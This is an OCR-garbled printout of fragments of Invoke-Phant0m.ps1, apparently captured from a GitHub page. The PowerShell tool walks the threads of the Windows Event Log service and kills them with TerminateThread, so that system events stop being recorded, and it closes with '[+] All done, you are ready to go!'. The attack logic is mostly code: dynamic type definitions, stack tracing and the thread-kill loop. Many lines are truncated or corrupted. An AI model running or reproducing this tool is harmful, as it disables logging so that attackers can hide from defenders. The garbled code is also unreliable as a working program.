

```
$intro = @'
 56
 57
 58
 59
                                 | |_ / _ \ _ _
         | '_ \| '_ \ / _` | '_ \| __| | | | | '_ ` _ \
 60
         61
         | .__/|_| |_|\__,_|_| |_|\__/|_| |_|
 62
 63
         ||_{\perp}|
 64
 65
        '@
 66
 67
            Write-Host $intro -ForegroundColor Cyan
 68
            Write-Host ""
 69
 70
            Write-Host "[!] I'm here to blur the line between life and death..." -ForegroundCol
            Write-Host ""
 71
 72
 73
            $ScriptBlock = {
                Param (
 74
 75
                     [Parameter()]
                     [String]$Name,
 76
 77
                     [Parameter()]
 78
 79
                     [Int]$Id
 80
                if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]
 81
                    Write-Warning "This script should be ran with administrative priviliges."
 82
 83
                }
                $Domain = [AppDomain]::CurrentDomain
 84
                $DynAssembly = New-Object -TypeName System.Reflection.AssemblyName -ArgumentLis
 85
                $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit
 86
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
 87
                $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors
 88
 89
 90
                #region STRUCTS
 91
 92
                #region ENUM ProcessorArch
                $TypeBuilder = $ModuleBuilder.DefineEnum('ProcessorArch', 'Public', [UInt16])
 93
                [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_INTEL', [UInt16] 0)
 94
                [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_MIPS', [UInt16] 0x01)
 95
                [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ALPHA', [UInt16] 0x02)
 96
                [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_PPC', [UInt16] 0x03)
 97
                [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_SHX', [UInt16] 0x04)
 98
                [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ARM', [UInt16] 0x05)
 99
                [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_IA64', [UInt16] 0x06)
100
                [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ALPHA64', [UInt16] 0x0
101
                [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_AMD64', [UInt16] 0x09)
102
                [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_UNKNOWN', [UInt16] 0xF
103
                $Global:ProcessorArch = $TypeBuilder.CreateType()
104
                #endregion ENUM ProcessorArch
105
106
                #region SYSTEM_INFO
107
                $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed,
108
109
                $TypeBuilder = $ModuleBuilder.DefineType('SYSTEM_INFO', $Attributes, [ValueType
                [\mbox{{\tt void}}] \$ \mbox{{\tt TypeBuilder.DefineField}('ProcessorArchitecture', \$ \mbox{{\tt ProcessorArch}, 'Public'}) } \\
110
                [void]$TypeBuilder.DefineField('Reserved', [Int16], 'Public')
111
                [void]$TypeBuilder.DefineField('PageSize', [Int32], 'Public')
112
                [void]$TypeBuilder.DefineField('MinimumApplicationAddress', [IntPtr], 'Public')
113
                [void]$TypeBuilder.DefineField('MaximumApplicationAddress', [IntPtr], 'Public')
114
                [void]$TypeBuilder.DefineField('ActiveProcessorMask', [IntPtr], 'Public')
115
                [void]$TypeBuilder.DefineField('NumberOfProcessors', [Int32], 'Public')
116
                [void]$TypeBuilder.DefineField('ProcessorType', [Int32], 'Public')
117
```

Phant0m/old/Invoke-Phant0m.ps1 at 30c2935d8chttps://github.com/hlldz/Phant0m/blob/30c2935d8c	cf4aafda17ee2fab7cd0c4aa9a607c2 · hlldz/Phant0m · GitHub - 02/11/2024 14:47 f4aafda17ee2fab7cd0c4aa9a607c2/old/lnvoke-Phant0m.ps1

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```
992
 993
                         $Symbol = Get-SymbolFromAddress -ProcessHandle $ProcessHandle -Address
                         $SymbolName = (([String]$Symbol.Name).Replace(' ','')).TrimEnd([Byte]0)
 994
 995
                         Properties = 0{
 996
 997
                             ProcessId = $ProcessId
 998
                             ThreadId = $ThreadId
 999
                             AddrPC
                                        = $StackFrame.AddrPC.Offset
1000
                             AddrReturn = $StackFrame.AddrReturn.Offset
1001
                             Symbol
                                        = $SymbolName
1002
                             MappedFile = $MappedFile
1003
                         }
                         New-Object -TypeName PSObject -Property $Properties
1004
1005
                     } until ($StackFrame.AddrReturn.Offset -eq 0) # End of stack reached
1006
1007
                     # Cleanup
                     [Runtime.InteropServices.Marshal]::FreeHGlobal($1pStackFrame)
1008
                     [Runtime.InteropServices.Marshal]::FreeHGlobal($lpContextRecord)
1009
                     if ($Kernel32::ResumeThread($hThread) -eq -1) { Write-Error "Unable to result
1010
                     if (!$Kernel32::CloseHandle.Invoke($hThread)) { Write-Error "Unable to clos
1011
1012
                 }
1013
1014
1015
                 Write-Host "[*] Enumerating threads of PID: $(Get-WmiObject -Class win32_servic
                 foreach ($Process in (Get-Process -Id (Get-WmiObject -Class win32_service -Filt
1016
1017
                     {
                         if (($ProcessHandle = $Kernel32::OpenProcess(0x1F0FFF, $false, $Process
1018
                             Write-Error -Message "Unable to open handle for process $($Process.
1019
                             continue
1020
1021
                         }
1022
                         if (!$Dbghelp::SymInitialize($ProcessHandle, $null, $false)) {
1023
                             Write-Error "Unable to initialize symbol handler for process $($Pro
1024
                             if (!$Kernel32::CloseHandle.Invoke($ProcessHandle)) { Write-Error "
1000
```

```
preak
TOZD
1026
                         }
1027
1028
                         $Process.Threads | ForEach-Object -Process { Trace-Thread -ProcessHandl
1029
1030
                         if (!$Dbghelp::SymCleanup($ProcessHandle)) { Write-Error "Unable to cle
                         if (!$Kernel32::CloseHandle.Invoke($ProcessHandle)) { Write-Error "Unab
1031
1032
                         [GC]::Collect()
1033
                     }
1034
1035
1036
             }# End of ScriptBlock
1037
1038
             if ($PSBoundParameters['ComputerName']) { $ReturnedObjects = Invoke-Command -ComputerName'}
1039
             else { $ReturnedObjects = Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList @(
1040
             $eventLogThreads = $ReturnedObjects | Where-Object {$_.MappedFile -like '*evt*'} |
1041
             Write-Host "[*] Parsing Event Log Service Threads..." -ForegroundColor Yellow
1042
1043
1044
             if(!($eventLogThreads)) {
1045
               Write-Host "[!] There are no Event Log Service Threads, Event Log Service is not
1046
               Write-Host "[+] You are ready to go!" -ForegroundColor Green
               Write-Host ""
1047
1048
             }
             else {
1049
1050
                 [array]$array = $eventLogThreads
1051
1052
                 for ($i = 0; $i -lt $array.Count; $i++) {
1053
                     $getThread = $Kernel32::OpenThread(0x0001, $false, $($array[$i]))
1054
                     if ($kill = $Kernel32::TerminateThread($getThread, 1)) {Write-Host "[+] Thr
                     $close = $Kernel32::CloseHandle($getThread)
1055
1056
                 }
1057
1058
                 Write-Host ""
1059
                 Write-Host "[+] All done, you are ready to go!" -ForegroundColor Green
                 Write-Host ""
1060
1061
             }
1062
1063
             [GC]::Collect()
1064
1065
         }
```